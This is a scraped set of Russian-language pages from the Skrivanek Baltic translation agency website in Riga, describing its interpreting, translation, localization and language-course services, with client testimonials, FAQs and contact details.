строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне. Департамент пенсий отдела международных услуг Агентства государственного социального страхования --- > Услуги профессиональных переводчиков для конференций, деловых встреч, собраний, судебных слушаний и т. д. Свяжитесь с нами! - Published: 2017-11-23 - Modified: 2024-11-12 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/ - Translation Priorities: Optional ПОСЛЕДОВАТЕЛЬНЫЙ ПЕРЕВОД На небольших собраниях (например, во время обеденного перерыва или поездки) часто требуются услуги последовательного перевода, когда переводчик слушает человека, говорящего на одном языке, и затем переводит его речь на другой. Такой перевод прост в выполнении и легко воспринимается слушателями. Читать дальше СИНХРОННЫЙ ПЕРЕВОД Если перевод адресован большому количеству людей и выполняется в нескольких языковых комбинациях одновременно, чаще всего это синхронный перевод — речь переводится из кабины с задержкой в несколько секунд. Читать дальше ПЕРЕВОД КОНФЕРЕНЦИЙ Во время конференции самое главное — не переводить каждое слово выступающего, а передать его идеи людям, говорящим на других языках. Наши профессиональные синхронные переводчики с легкостью наладят общение между представителями разных культур. Читать дальше ПЕРЕВОД НА СУДЕБНЫХ ЗАСЕДАНИЯХ Юридическому языку свойственна точность, и переводы в суде особенно важны! Наши переводчики имеют богатый опыт и хорошо ориентируются в юридической терминологии. С их поддержкой судебный процесс пройдет быстро и гладко. Читать дальше ДРУГИЕ ВИДЫ УСТНОГО ПЕРЕВОДА Мы предоставляем и другие виды устного перевода: шушутаж, перевод по телефону, перевод конференций по Skype/Zoom. Если вы не нашли необходимую услугу среди вышеперечисленных, обратитесь к руководителям проектов, и мы обязательно вам поможем! Свяжитесь с нами УСЛУГИ АССИСТЕНТА Если вам нужна помощь устного переводчика в повседневных ситуациях (например, при подаче документов, общении с государственными или местными органами власти или во время других подобных процедур), мы рекомендуем воспользоваться услугами переводчика-ассистента. Свяжитесь с нами, и мы найдем для вас оптимальное решение. Свяжитесь с нами НЕОБХОДИМ УСТНЫЙ ПЕРЕВОД ИЛИ СОВЕТ СПЕЦИАЛИСТА? Мы подготовим для вас предложение и предоставим консультацию. Отправить запрос ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ Мы выполняем устный и письменный перевод и предлагаем широкий спектр языковых решений. Наши устные переводчики работают на конференциях и деловых встречах, а также оказывают поддержку в ходе судебных процессов. Письменные переводы включают специализированные и общие переводы в различных областях. Кроме того, мы выполняем локализацию и адаптацию, занимаемся копирайтингом, компьютерной версткой и преподаванием языков. Все зависит от конкретной договоренности и ваших требований. Продолжительность работы устного переводчика определяете только вы. Да, очень часто мы создаем для своих партнеров команды специалистов по определенному языку: над текстами одного клиента всегда работает один и тот же переводчик. Смело расскажите нам о своих впечатлениях, и мы с радостью организуем перевод последующих текстов тем же специалистом. Отметим, что нашим постоянным клиентам также выделяется собственный руководитель проектов. ПРЕДОСТАВЛЯЕМ РАЗЛИЧНЫЕ ВИДЫ УСТНОГО ПЕРЕВОДА НА БОЛЕЕ ЧЕМ 40 ЯЗЫКОВ Английский язык Греческий язык Датский язык Испанский язык Итальянский язык Латышский язык Литовский язык Немецкий язык Норвежский язык Польский язык Финский язык Французский язык Чешский язык Шведский язык Эстонский язык Другие языки УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Письменные переводы текстов и документов на более чем 110 языков. Skrivanek гарантирует качество услуг и полную конфиденциальность. - Published: 2017-11-23 - Modified: 2024-11-13 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/ - Translation Priorities: Optional Бесплатная автостоянкаВкусный кофеНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамГарантия качества и конфиденциальности, подтвержденная сертификатами ISO ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ Мы принимаем все электронные форматы. Если документ не доступен в электронном виде, пришлите нам его изображение или посетите наш офис на ул. Лачплеша, 87с. Цена зависит от количества слов, языковой комбинации и других факторов. Пришлите нам материалы, и мы рассчитаем стоимость до начала работы. Получение расценки является бесплатным и не обязывает вас сотрудничать с нами. Мы договоримся о сроках до начала работы. В среднем перевод текста объемом до 500 слов выполняется за один полный рабочий день, до 1000 слов — не менее чем за полтора рабочих дня. При необходимости мы можем выполнить срочный перевод. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим для вас предложение и предоставим консультацию. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить СПЕЦИАЛИЗИРОВАННЫЕ ПЕРЕВОДЫ В нашей работе очень важно правильно использовать отраслевую терминологию, поэтому переводчики Skrivanek Baltic — не только филологи, которые используют современные технологические достижения, но и специалисты по медицине, юриспруденции, инженерным и прочим наукам. Именно это позволяет нам достигать прекрасных результатов. Читать дальше НЕСПЕЦИАЛИЗИРОВАННЫЕ ПЕРЕВОДЫ Качественный перевод — не просто подбор аналогичных слов на другом языке, это передача идей и мыслей, которые необходимо донести до адресата в исходном, неискаженном виде. Мы выполняем срочный перевод документов в случаях, когда не требуются специфические отраслевые знания. Свяжитесь с нами НОТАРИАЛЬНОЕ ЗАВЕРЕНИЕ (ЗАВЕРКА) Мы выполняем нотариально заверенные переводы оригинальных документов и их копий в соответствии с нормативными актами Латвийской Республики. Присяжный нотариус заверяет верность, точность перевода и его соответствие оригиналу, в то время как присяжный переводчик берет на себя полную ответственность за качество работы. Читать дальше ЛОКАЛИЗАЦИЯ Вам больше не надо ни о чем беспокоиться: мы не только выполним перевод, но и проследим за тем, чтобы локализованный продукт или программное обеспечение работало должным образом. Читать дальше ПРЕДЛАГАЕМ ПИСЬМЕННЫЕ ПЕРЕВОДЫ НА БОЛЕЕ ЧЕМ 110 ЯЗЫКОВ Английский язык Греческий язык Датский язык Испанский язык Итальянский язык Латышский язык Литовский язык Немецкий язык Норвежский язык Польский язык Финский язык Французский язык Чешский язык Шведский язык Эстонский язык Другие языки ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Ответы на вопросы о языковых услугах, предоставляемых предприятием Skrivanek Baltic. Не нашли ответ на свой вопрос? Свяжитесь с нами! - Published: 2017-11-23 - Modified: 2024-08-12 - URL: https://skrivanek.lv/biezak-uzdotie-jautajumi/ - Translation Priorities: Optional Skrivanek Baltic — это сертифицированное бюро переводов, работающее в Латвии с 2003 года. Мы предлагаем языковые услуги высочайшего качества. Группа Skrivanek обладает более чем 25-летним опытом и является одним из крупнейших поставщиков языковых услуг в мире. В настоящее время она насчитывает почти пятьдесят филиалов в разных странах мира: США, Австрии, Бельгии, Болгарии, Чехии, Эстонии, Литве, Польше, Словакии, Словении и Германии. В 2007 году открылась Языковая школа Skrivanek Baltic, где взрослые и дети могут выучить иностранный язык и усовершенствовать свои навыки под руководством опытных, высококвалифицированных преподавателей, а также расширить свой лингвистический кругозор. Цена зависит от количества слов, языковой комбинации и других факторов. Пришлите нам материалы, и мы рассчитаем стоимость до начала работы. Получение расценки является бесплатным и не обязывает вас сотрудничать с нами. Да, частным лицам мы указываем цену с учетом НДС. Корпоративным клиентам, согласно общепринятой рыночной практике, сообщается стоимость услуги без НДС. Если документ доступен в формате Microsoft Word, воспользуйтесь функцией подсчета слов (Review Word Count). Если документ доступен в ином формате (распечатка, JPG, HTML, PHP, ASP и т. п. ), отправьте нам файл (-ы) по электронной почте, и мы пришлем вам бесплатный расчет. Мы договоримся о сроках до начала работы. В среднем перевод текста объемом до 500 слов выполняется за один полный рабочий день, до 1000 слов — не менее чем за полтора рабочих дня. При необходимости мы можем выполнить срочный перевод. Мы принимаем все электронные форматы. Если документ не доступен в электронном виде, пришлите нам его изображение или посетите наш офис на ул. Лачплеша, 87с. Мы можем перевести любой текст, сохранив форматирование оригинала, и принимаем документы практически в любом электронном формате. В случаях, когда необходимо выполнить локализацию, мы учитываем требования клиента и специальные настройки, заданные программным обеспечением. Конечно, с большим удовольствием. Skrivanek имеет обширную базу знаний и богатый опыт в области перевода и локализации различных веб-сайтов и систем управления содержимым. Мы гарантируем профессиональный подход и всегда находим оптимальное решение, которое позволяет добиться желаемого результата в заданных языковых комбинациях. Несмотря на то, что запросы в основном поступают от предприятий, мы с радостью оказываем услуги частным лицам. Чаще всего частным лицам требуются нотариально заверенные переводы; кроме того, очень востребованы языковые курсы и лагеря для детей и подростков. Наша команда окажет помощь в любой ситуации. Если это необходимо, мы гарантируем, что переведенный документ будет выглядеть точь-в-точь как оригинал. Кроме того, есть возможность оформить текст в соответствии с требованиями клиента — с этой целью к работе привлекается команда специалистов по компьютерной верстке. По мере возможности мы работаем с оригиналами документов в электронном формате, не изменяя их стиль и форматирование. Skrivanek Baltic имеет сертификаты ISO 9001, EN 17100, ISO 27001, EN ISO 14001, EN ISO 18585. Мы тщательно соблюдаем конфиденциальность и оговоренные сроки, а также берем на себя ответственность за выполненную работу. Стандарт EN 17100 устанавливает требования к управлению процессами в сфере переводческих услуг. Для спокойствия наших клиентов мы заключили договор профессиональной гражданско-правовой ответственности с международной страховой компанией Colonnade Insurance S. A. Кроме того, у нас можно заказать нотариально заверенные переводы и переводы, заверенные бюро. Нет, все заказы принимаются и управляются руководителем проектов, который выполняет роль посредника между заказчиком и переводчиком. Устные и письменные переводчики Skrivanek Baltic владеют более чем 110 языками! Мы выполняем устный и письменный перевод и предлагаем широкий спектр языковых решений. Наши устные переводчики работают на конференциях и деловых встречах, а также оказывают поддержку в ходе судебных процессов. Письменные переводы включают специализированные и общие переводы в различных областях. Кроме того, мы выполняем локализацию и адаптацию, занимаемся копирайтингом, компьютерной версткой и преподаванием языков. Да, очень часто мы создаем для своих партнеров команды специалистов по определенному языку: над текстами одного клиента всегда работает один и тот же переводчик. Смело расскажите нам о своих впечатлениях, и мы с радостью организуем перевод последующих текстов тем же специалистом. Отметим, что нашим постоянным клиентам также выделяется собственный руководитель проектов. Все зависит от конкретной договоренности и ваших требований. Продолжительность работы устного переводчика определяете только вы. В тех случаях, когда текст планируется использовать, например, в маркетинговых или рекламных целях, точного перевода недостаточно, его необходимо локализовать, заменив используемые идиомы или другие средства речевой выразительности на привычные для носителей целевого языка аналоги. Таким образом текст адаптируется к требованиям потенциальной аудитории. Переводческие инструменты (CAT-инструменты) — это предусмотренные для переводчиков компьютерные программы, которые облегчают процесс работы. Переводческие инструменты не применяются для осуществления машинного (автоматизированного) перевода. Они позволяют выполнить работу в более сжатые сроки, гарантируют последовательное использование терминов, помогают сэкономить деньги и имеют целый ряд других преимуществ. Такие инструменты сохраняют в памяти все пропущенные через нее тексты: специалисту не придется раз за разом переводить одинаковые предложения. CAT-инструменты рекомендованы для работы с финансовыми и техническими текстами, а также для перевода документации лекарственных препаратов, веб-сайтов и компьютерных программ. НЕ НАШЛИ ОТВЕТА НА СВОЙ ВОПРОС? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ПИСЬМЕННЫЕ ПЕРЕВОДЫ Мы предлагаем качественные письменные переводы в необходимой языковой комбинации, а также гарантируем конфиденциальность и соблюдение оговоренных сроков. Читать дальше УСТНЫЕ ПЕРЕВОДЫ Мы предоставляем различные виды устного перевода, привлекая специалистов, которые владеют более чем 40 языками в различных комбинациях. Читать дальше ЛОКАЛИЗАЦИЯ Мы не только выполняем перевод, но и следим за тем, чтобы локализованный продукт или программное обеспечение работало должным образом. Читать дальше ЯЗЫКОВЫЕ КУРСЫ Мы организуем языковые курсы для работников предприятий и учреждений, а также частных лиц с различным уровнем знаний. Читать дальше НЕСКОЛЬКО ПРИЧИН, ПОЧЕМУ НУЖНО ВЫБРАТЬ ИМЕННО НАС  Гарантия предоставления качественных услуг Наше предприятие сертифицировано согласно стандартам ISO 9001, EN 17100 и ISO 27001. Мы несем ответственность за проделанную работу и соблюдаем сроки ее выполнения! Читать дальше  Новейшие технологии перевода Мы используем новейшие научно-технические достижения для повышения качества и производительности! Читать дальше  Широкий спектр языковых решений Мы растем и развиваемся вместе с вами, чтобы предлагать самый широкий выбор лучших языковых решений в Балтии! Свяжитесь с нами ПРЕДЛАГАЕМ ЯЗЫКОВЫЕ РЕШЕНИЯ ДЛЯ РАЗНЫХ ОТРАСЛЕЙ БОЛЕЕ ЧЕМ В 300 ЯЗЫКОВЫХ КОМБИНАЦИЯХ Английский язык Греческий язык Датский язык Испанский язык Итальянский язык Латышский язык Литовский язык Немецкий язык Норвежский язык Польский язык Финский язык Французский язык Чешский язык Шведский язык Эстонский язык Другие языки Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Задайте вопрос или запросите расчет стоимости, заполнив контактную форму! Время работы: пн. – пт. 8:30–18:00 | ул. Лачплеша, 87с, Рига | birojs@skrivanek.lv - Published: 2017-11-23 - Modified: 2024-09-04 - URL: https://skrivanek.lv/kontakti/ - Translation Priorities: Optional if (typeof(gem_fix_fullwidth_position) == "function") { gem_fix_fullwidth_position(document. getElementById("fullwidth-block-68873058141fb")); } УЗНАТЬ ЦЕНУ / ЗАДАТЬ ВОПРОС Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить КОНТАКТЫ – SKRIVANEK BALTIC, РИГА  ул. Лачплеша, 87с, Рига, LV-1011 (Waze) пн. – пт. с 9:00 до 17:30(+371) 26 382 680 (WhatsApp) ПИСЬМЕННЫЕ И УСТНЫЕ ПЕРЕВОДЫ birojs@skrivanek. lv(+371) 67 240 364 (пн. – пт. с 9:00 до 17:30)(+371) 26 181 355 (пн. – пт. с 9:00 до 17:30) УЧЕБНЫЙ ЦЕНТР macibas@skrivanek. lv(+371) 67 218 573 (пн. – пт. с 9:00 до 17:30)(+371) 25 667 752 (пн. – пт. с 9:00 до 17:30) valodumacibas. lv НАШИ РАБОТНИКИ Василий Рагачевич Директор vasilijs@skrivanek. lv Иварс Тресковскис Руководитель отдела переводов ivars@skrivanek. lv Айга Матвея Руководитель учебного центра macibas@skrivanek. lv Лелде Цалмане Руководитель отдела качества lelde@skrivanek. lv Янис Лунс Менеджер по маркетингу janis. luns@skrivanek. lv Улдис Круминьш Администратор ИТ uldis@skrivanek. lv Дана Лайзане Директор проектов по локализации и искусственному интеллекту dana@skrivanek. lv Елена Лапошка Руководитель административного отдела jelena. laposka@skrivanek. lv ЯЗЫКОВЫЕ УСЛУГИ SKRIVANEK BALTIC Skrivanek Baltic – это сертифицированное бюро переводов, предлагающее высококачественные лингвистические услуги в Латвии с 2003 года. ПИСЬМЕННЫЕ ПЕРЕВОДЫ Мы предлагаем качественные письменные переводы текстов общей и специализированной тематики на более чем 110 языков, включая латышский, английский, немецкий, испанский, французский, итальянский, эстонский, шведский, норвежский, финский и др. Мы переведем документы, не требующие наличия специфических знаний в определенной отрасли, а также документы, в которых соблюдение отраслевой терминологии – один из важнейших факторов. Чаще всего мы выполняем переводы в таких отраслях, как страхование, строительство, финансы и банковская деятельность, человеческие ресурсы (HR), ИТ и игры, юриспруденция, сельское хозяйство и лесоводство, машиностроение и железнодорожная промышленность, медицина и клинические исследования, производство, реклама и маркетинг, торговля, туризм, государственное и муниципальное управление. Предлагаем нотариально заверенные переводы, прилагаемые к оригиналу и копиям документов и оформленные с соблюдением нормативных актов Латвийской Республики, а также грамматическое и стилистическое улучшение текстов, адаптацию текстов, творческую подготовку текстов, графическую обработку текстов (DTP), перевод интернет-страниц, локализацию аудио- и видеофайлов, программного обеспечения, переводы GoogleAds и SEO. УСТНЫЕ ПЕРЕВОДЫ Мы предоставляем услуги устного перевода на более чем 40 языков в различных комбинациях. Наши профессиональные переводчики обеспечат успешное общение в любой ситуации, будь то последовательный перевод на небольших собраниях, например, во время бизнес-ланчей или командировок, или синхронный перевод на более масштабных мероприятиях, например, во время конференций. Наши переводчики предоставляют необходимую помощь как в ходе судопроизводства, так и в различных повседневных ситуациях, например, в общении с государственными или муниципальными учреждениями, в процессе подачи документов и т. п. ЯЗЫКОВЫЕ КУРСЫ Учебный центр Skrivanek Baltic уже более 10 лет предлагает курсы иностранных языков для предприятий и частных лиц. Изучайте иностранный язык быстро и эффективно, записавшись на групповые языковые курсы или посещая индивидуальные занятия как очно, так и удаленно посредством Skype. Мы предлагаем языковые курсы не только для взрослых, но и для детей и молодежи. Во время школьных каникул (осенью, весной и летом) мы организуем дневные и круглосуточные лагеря для детей и молодежи с изучением иностранных языков. Свяжитесь с нами, и мы подберем для вас самое подходящее решение! --- > Услуги локализации и перевода с 110+ языков! Профессиональное бюро переводов с 25-летним опытом. Получите бесплатный расчет стоимости! - Published: 2017-11-23 - Modified: 2024-01-03 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/ - Translation Priorities: Optional ПЕРЕВОД ВЕБ-САЙТОВ Перевод веб-сайтов еще никогда не был таким простым! Наши специалисты предоставят оптимальные решения для перевода и локализации, которые позволят адаптировать сайт к специфике и потребностям конкретного региона или рынка. Читать дальше ЛОКАЛИЗАЦИЯ АУДИО- И ВИДЕОФАЙЛОВ Вы присылаете качественную запись на любом языке, наши специалисты расшифровывают файл, а после подтверждения письменного перевода мы предоставляем конечный результат в соответствующем формате (аудио- или видеофайл). Свяжитесь с нами ЛОКАЛИЗАЦИЯ ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ Точная адаптация программного обеспечения к требованиям конкретной страны: мы переведем ваше программное обеспечение или приложение с учетом всех настроек, включая правильный формат времени и даты. Свяжитесь с нами ЛОКАЛИЗАЦИЯ КОНТЕНТА И РЕШЕНИЙ В СФЕРЕ ДИСТАНЦИОННОГО ОБУЧЕНИЯ Люди во всем мире все чаще выбирают освоение новых навыков и знаний онлайн, поэтому рекомендуем своевременно позаботиться о локализации своего образовательного контента или цифрового решения хотя бы на несколько языков, наиболее популярных в мире или в вашем регионе. Читать дальше ЛОКАЛИЗАЦИЯ ЦИФРОВОГО МАРКЕТИНГОВОГО СОДЕРЖАНИЯ Цифровой маркетинг, в том числе интернет-страницы и продуманные кампании в интернет-СМИ, своими сообщениями в виртуальной среде завоевывают сердца и умы ваших клиентов, в свою очередь, социальные сети налаживают с ними более тесную связь. При классическом переводе особое настроение, которое делает ваш продукт таким уникальным, теряется, но предотвратить это поможет локализация маркетингового содержания. Читать дальше ПЕРЕВОДЫ GOOGLE ADS И SEO Ваш сайт станет более конкурентоспособным, если посетители смогут найти его на конкретном языке! Наши специалисты, владеющие принципами SEO, подготовят тексты AdWords в соответствии с выбранными ключевыми словами и техническими параметрами. Читать дальше НЕОБХОДИМА ЛОКАЛИЗАЦИЯ? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим для вас предложение и предоставим консультацию. Отправить запрос ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ Мы можем перевести любой текст, сохранив форматирование оригинала, и принимаем документы практически в любом электронном формате. В случаях, когда необходимо выполнить локализацию, мы учитываем требования клиента и специальные настройки, заданные программным обеспечением. Конечно, с большим удовольствием. Skrivanek имеет обширную базу знаний и богатый опыт в области перевода и локализации различных веб-сайтов и систем управления содержимым. Мы гарантируем профессиональный подход и всегда находим оптимальное решение, которое позволяет добиться желаемого результата в заданных языковых комбинациях. Да, очень часто мы создаем для своих партнеров команды специалистов по определенному языку: над текстами одного клиента всегда работает один и тот же переводчик. Смело расскажите нам о своих впечатлениях, и мы с радостью организуем перевод последующих текстов тем же специалистом. Отметим, что нашим постоянным клиентам также выделяется собственный руководитель проектов. ПРЕДЛАГАЕМ ЯЗЫКОВЫЕ РЕШЕНИЯ ДЛЯ РАЗНЫХ ОТРАСЛЕЙ БОЛЕЕ ЧЕМ В 300 ЯЗЫКОВЫХ КОМБИНАЦИЯХ Английский язык Греческий язык Датский язык Испанский язык Итальянский язык Латышский язык Литовский язык Немецкий язык Норвежский язык Польский язык Финский язык Французский язык Чешский язык Шведский язык Эстонский язык Другие языки Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO --- > Бюро переводов с 25-летним опытом работы – профессиональные и качественные переводы для юридических и физических лиц. Свяжитесь с нами! - Published: 2017-11-23 - Modified: 2025-06-16 - URL: https://skrivanek.lv/ - Translation Priorities: Optional Иностранные языки для больших целей Уже более 30 лет на рынке! Translation Устные переводы Локализация Языковые курсы ВАШЕ БЮРО ПЕРЕВОДОВ И УЧЕБНЫЙ ЦЕНТР SKRIVANEK 1 Предприятие 